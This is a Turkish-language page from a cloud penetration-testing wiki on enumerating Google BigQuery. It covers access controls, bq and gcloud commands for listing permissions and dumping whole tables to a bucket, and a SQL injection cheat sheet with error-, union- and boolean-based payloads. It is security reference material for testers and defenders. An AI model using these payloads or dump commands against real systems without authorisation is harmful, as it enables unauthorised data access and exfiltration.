GCP - Bigquery Enum
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Google Cloud BigQuery, petabaytlar üzerinde analiz yetenekleri sunan, tamamen yönetilen, sunucusuz bir kurumsal veri ambarıdır ve büyük ölçekli veri setlerini verimli bir şekilde yönetir. Bir Hizmet Olarak Platform (PaaS) olarak, kullanıcıların manuel denetim gerektirmeden veri yönetimini kolaylaştırmak için altyapı ve araçlar sağlar.
ANSI SQL kullanarak sorgulamayı destekler. Ana nesneler, SQL veri içeren tablolar içeren veri setleridir.
Şifreleme
Varsayılan olarak, Google tarafından yönetilen bir şifreleme anahtarı kullanılır, ancak Müşteri tarafından yönetilen şifreleme anahtarı (CMEK) yapılandırmak mümkündür. Her veri seti ve veri seti içindeki her tablo için şifreleme anahtarını belirtmek mümkündür.
Süre Sonu
Bir veri setinde bir süre sonu belirtmek mümkündür, böylece bu veri setinde oluşturulan yeni bir tablo, oluşturulduktan sonra belirtilen gün sayısı kadar otomatik olarak silinecektir.
Harici Kaynaklar
Bigquery, diğer Google hizmetleriyle derinlemesine entegre edilmiştir. Verileri bucket’lardan, pub/sub, google drive, RDS veritabanlarından yüklemek mümkündür…
Veri Seti ACL’leri
Bir veri seti oluşturulduğunda, ona erişim sağlamak için ACL’ler eklenir. Varsayılan olarak, veri setini oluşturan kullanıcıya Sahip ayrıcalıkları verilir ve ardından proje sahipleri grubuna (projenin sahipleri) Sahip, proje yazarları grubuna Yazar ve proje okuyucuları grubuna Okuyucu verilir:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Tablo Satırlarına Erişim Kontrolü
Bir prensibin bir tabloda erişebileceği satırları kontrol etmek mümkündür satır erişim politikaları ile. Bunlar, DDL kullanılarak tabloda tanımlanır.
Erişim politikası bir filtre tanımlar ve yalnızca o filtre ile eşleşen satırlar belirtilen prensipler tarafından erişilebilir olacaktır.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
Sütun Erişim Kontrolü
.png)
Veri erişimini sütun düzeyinde kısıtlamak için:
- Bir taksonomi ve politika etiketleri tanımlayın. Verileriniz için bir taksonomi ve politika etiketleri oluşturun ve yönetin. https://console.cloud.google.com/bigquery/policy-tags
- İsteğe bağlı: Oluşturduğunuz bir veya daha fazla politika etiketinde Veri Kataloğu İnce Ayrıntılı Okuyucu rolünü bir veya daha fazla yetkiliye verin.
- Politika etiketlerini BigQuery sütunlarınıza atayın. BigQuery’de, erişimi kısıtlamak istediğiniz her sütuna bir politika etiketi atamak için şema açıklamalarını kullanın.
- Taksonomi üzerinde erişim kontrolünü zorlayın. Erişim kontrolünü zorlamak, taksonomideki tüm politika etiketleri için tanımlanan erişim kısıtlamalarının uygulanmasını sağlar.
- Politika etiketleri üzerindeki erişimi yönetin. Her bir politika etiketine erişimi kısıtlamak için Kimlik ve Erişim Yönetimi (IAM) politikalarını kullanın. Politika, politika etiketine ait her sütun için geçerlidir.
Bir kullanıcı sorgu zamanında sütun verilerine erişmeye çalıştığında, BigQuery kullanıcının verilere erişim yetkisi olup olmadığını görmek için sütun politika etiketini ve politikasını kontrol eder.
Tip
Özetle, bazı sütunlara erişimi bazı kullanıcılara kısıtlamak için, şemadaki sütuna bir etiket ekleyebilir ve kullanıcıların etikete erişimini kısıtlayarak etiketin taksonomisi üzerinde erişim kontrolünü zorlayabilirsiniz.
Taksonomi üzerinde erişim kontrolünü zorlamak için hizmetin etkinleştirilmesi gerekmektedir:
gcloud services enable bigquerydatapolicy.googleapis.com
Aşağıdaki komut ile sütunların etiketlerini görebilirsiniz:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
Sayım
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Daha fazla bilgi için blog yazısını kontrol edebilirsiniz: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Burada sadece bazı detaylar verilecektir.
Yorumlar:
select 1#from here it is not workingselect 1/*between those it is not working*/Ama sadece ilk olan çalışmayacakselect 1--from here it is not working
Ortam hakkında bilgi alın, örneğin:
- Mevcut kullanıcı:
select session_user() - Proje kimliği:
select @@project_id
Satırları birleştir:
- Tüm tablo adları:
string_agg(table_name, ', ')
Veri kümeleri, tablolar ve sütun adlarını alın:
- Proje ve veri kümesi adı:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Tüm tabloların sütun ve tablo adları:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Aynı projedeki diğer veri setleri:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
SQL Injection türleri:
- Hata tabanlı - casting:
select CAST(@@project_id AS INT64) - Hata tabanlı - sıfıra bölme:
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' - Birleşim tabanlı (bigquery’de ALL kullanmalısınız):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# - Boolean tabanlı:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# - Potansiyel zaman tabanlı - Kamu veri setlerinin kullanımı örneği:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokümantasyon:
- Tüm fonksiyon listesi: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Scripting ifadeleri: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Yetki Yükseltme & Sonrası İstismar
Süreklilik
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

